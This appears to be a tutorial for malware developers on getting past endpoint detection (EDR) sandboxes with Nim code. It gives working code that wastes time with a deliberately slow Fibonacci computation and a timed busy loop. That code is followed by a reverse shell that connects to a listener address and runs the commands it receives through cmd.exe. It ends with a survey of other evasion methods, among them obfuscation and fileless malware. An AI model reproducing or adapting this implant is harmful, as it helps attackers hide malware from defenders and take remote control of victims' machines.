Guide to Evading EDR Sandboxing in Nim
Introduction
When developing malicious code that is meant to evade detection by endpoint detection and response (EDR) systems, one of the first challenges a malware developer must complete before even thinking of running their own malicious code is to get passed the sandbox. In the sandbox, various monitoring and analysis tools can be used to observe the behavior of the malware and determine its intended purpose. This can include things like checking for network activity, file system changes, registry modifications, and more.
Sandboxing Bypassing
Sandboxing is very effective however, there is a tradeoff to using this technique. The software that is ran in sandboxing is slowed down a lot when running in sandbox. Therefore, EDR's only sandbox for about 0.25 seconds or 1 million ASM instructions. However, if a malware simply adds a sleep for 2 seconds at beginning of execution EDR realises this and skips it. This is an example of how malware developers and EDR developers are in continuous arms race against each other.
Attackers may also try to make their delay code as random as possible to further evade detection. For example, instead of using a fixed delay time, they may use a random time between a range of values. This can make the delay code more difficult to detect and can confuse the EDR system. Another approach that attackers may take is deliberately writing poorly performing code. This can make the code more difficult to analyze and can make it appear less suspicious. By slowing down the code execution and adding complexity, the attacker can make it more difficult for the EDR system to identify and block the malicious behavior.
Here is the code that demonstrates how to delay execution in Nim without a simple sleep command:
import net, os, osproc, strformat, times proc fibonacci(n: int): int = if n <= 1: return n return fibonacci(n-1) + fibonacci(n-2) let test = fibonacci(30)
This code makes a function that generates a 30th fibonacci number. This is not optimal but that is the point as it is designed to delay the main execution stage. The number returned is stored in test which is then used later as some EDR Sandboxes are smart and notice that the value is never used and so skips executing this(another example of EDR improving). Then the EDR Sandbox is still running as the Reverse Shell Stage of the program is running.
(an idea newer malware has implemented is using a generated value as a key to decrypt the payload later on)
let now1 = now() + 30.seconds # <-- Modify the amount of sleep time if desired var i = 1 while now() <= now1: var i = i + 1 if test == 0: echo i if test > 1000: var i = 1000
After that, the code creates a new variable called now1 which is set to the current time plus 30 seconds. Then, there is a loop that continues executing as long as the current time is less than or equal to now1. Within this loop, a variable called i is incremented by 1 each iteration. If the test variable is equal to 0, the value of i is printed to the console using the echo command. If the test variable is greater than 1000(which it always is), the value of i is set to 1000.
let ip = "172.31.118.93" # <-- Change this to your listener's IP port = 1234 # <-- Change this to your listener's PORT sock = newSocket() sock.connect(ip, Port(port)) echo test let prompt = "Nim-Shell> " while true: send(sock, prompt) let bad = recvLine(sock) let cmd = execProcess(fmt"cmd.exe /C " & bad) # <-- Can work on Linux/Unix if changed to bash command send(sock, cmd)
Other Techniques for Evading EDR Systems
In addition to delaying execution, attackers can use a variety of other techniques to evade EDR systems. These include:
- Obfuscation: This technique involves modifying the code to make it difficult for security systems to recognize the malicious behavior. For example, attackers can use encryption or encoding to disguise the code or use code obfuscation tools to make the code more difficult to analyze. Additionally, attackers may attempt to disguise their code as legitimate software, such as by mimicking the structure or behavior of a trusted program.
- Fileless malware: This type of malware executes in memory, without leaving traces on the victim's hard drive. By avoiding the use of executable files, attackers can make it more difficult for EDR systems to detect and block the malware. Fileless malware often exploits vulnerabilities in legitimate programs or uses scripting languages to execute commands.
- Social engineering: Attackers can use a variety of social engineering techniques to trick users into installing or executing malicious software. For example, they may send phishing emails that appear to be from a legitimate source or create fake software updates that prompt users to download and install malware.
- Zero-day exploits: These are vulnerabilities in software that are not yet known to the software vendor or the security community. Attackers can use zero-day exploits to bypass security measures and execute their malicious code. Zero-day exploits are typically more difficult to detect and defend against than known vulnerabilities.